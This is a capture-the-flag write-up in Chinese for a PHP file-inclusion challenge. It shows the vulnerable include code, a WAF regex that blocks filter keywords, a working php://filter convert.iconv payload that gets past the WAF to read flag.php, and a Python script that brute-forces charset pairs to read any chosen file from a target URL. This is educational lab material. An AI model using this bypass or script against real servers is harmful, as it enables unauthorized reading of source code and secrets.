攻防世界web-file_include(江苏工匠杯/泰山杯原题)

关键:convert.iconv* 绕过

源码:

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>

伪协议读取文件,但waf将php://filter/read=convert.base64-encode/resource=index.php中某些关键词过滤了,因此要绕过!

image-20240609110641816

image-20240609110714891

最终fuzz得到是过滤了php这个过滤器以及string关键字.

这导致我们常规的伪协议无法读取文件

利用 convert.iconv.*

这个过滤器需要php支持 iconv ,而iconv是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

具体可看php官方给出的编码种类.PHP: 支持的字符编码 - 手册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
BASE64

convery.iconv.*的使用有两种方法:

1
2
3
convert.iconv.<input-encoding>.<output-encoding> 
or
convert.iconv.<input-encoding>/<output-encoding>

最终payload:http://61.147.171.105:52243/?filename=php://filter//convert.iconv.SJIS*.UCS-4LE*/resource=flag.php

最后看看waf怎么写的,以后留着有用!

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//文件包含waf
if ($_GET["filename"]) {

$filename = $_GET["filename"];

$pattern = "/base|be|encode|print|zlib|quoted|write|rot13|read|string/i";
if (preg_match($pattern, $filename)) {
die("do not hack!");
}
}
?>

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import argparse
flag=''''
@@@@ @@ @@ @@@@ @@@@ @@@@@ @@@@ @@@@ @@@@ @@@@@ @@ @@ @@
@@@@@ @@ @@ @@@@@ @@@@@ @@@@@ @@@@@ @@@@@ @@@@@ @@@@@ @@ @@ @@
@@ @@ @@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@
@@@@ @@ @@ @@ @@ @@@@@ @@@@ @@@@ @@@@ @@@@@ @@ @@ @@
@@@@ @@ @@ @@ @@ @@@@@ @@@@ @@@@ @@@@ @@@@@ @@ @@ @@
@@ @@ @@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@
@@@@@ @@@@@@ @@@@@ @@@@@ @@@@@ @@@@@ @@@@@ @@@@@ @@ @@@@@@ @@@@
@@@@ @@@@ @@@@ @@@@ @@@@@ @@@@ @@@@ @@@@ @@ @@@@ @@@@
'''
charsets = [
"UCS-4*",
"UCS-4BE",
"UCS-4LE*",
"UCS-2",
"UCS-2BE",
"UCS-2LE",
"UTF-32*",
"UTF-32BE*",
"UTF-32LE*",
"UTF-16*",
"UTF-16BE*",
"UTF-16LE*",
"UTF-7",
"UTF7-IMAP",
"UTF-8*",
"ASCII*",
"EUC-JP*",
"SJIS*",
"eucJP-win*",
"SJIS-win*",
"ISO-2022-JP",
"ISO-2022-JP-MS",
"CP932",
"CP51932",
"BASE64"
]
# 创建解析器
parser = argparse.ArgumentParser(description='Process some parameters.')

# 添加参数
parser.add_argument('--url', type=str, default='http://61.147.171.105:62409/', help='The base URL, e.g., http://61.147.171.105:62409/')
parser.add_argument('--char', type=str, required=True, help='Parameter name, e.g., filename')
parser.add_argument('--file', type=str, required=True, help='The file you want to read, e.g., flag.php')
args = parser.parse_args()
url = args.url+'?'
char = args.char
you_want_to_read = args.file
# url='http://61.147.171.105:62409/?'
# char=input('filename:')#传参名字 比如?filename=
# you_want_to_read=input('flag.php:')
# payload=f'{url}{char}=php://filter//convert.iconv.{key1}.{key2}'
# print(payload)
# combinations = list(itertools.combinations(charsets, 2))
maxlen=1160
for i in range(len(charsets)):
for j in range(len(charsets)):
if i==j:
continue
key1, key2 = charsets[i],charsets[j]
payload=f'{url}{char}=php://filter//convert.iconv.{key1}.{key2}/resource={you_want_to_read}'
# print(payload)
import requests
re=requests.get(payload)
# print(re.status_code)
if len(re.text)>maxlen:
maxlen=len(re.text)
# print(payload)
print(re.text)
print(flag)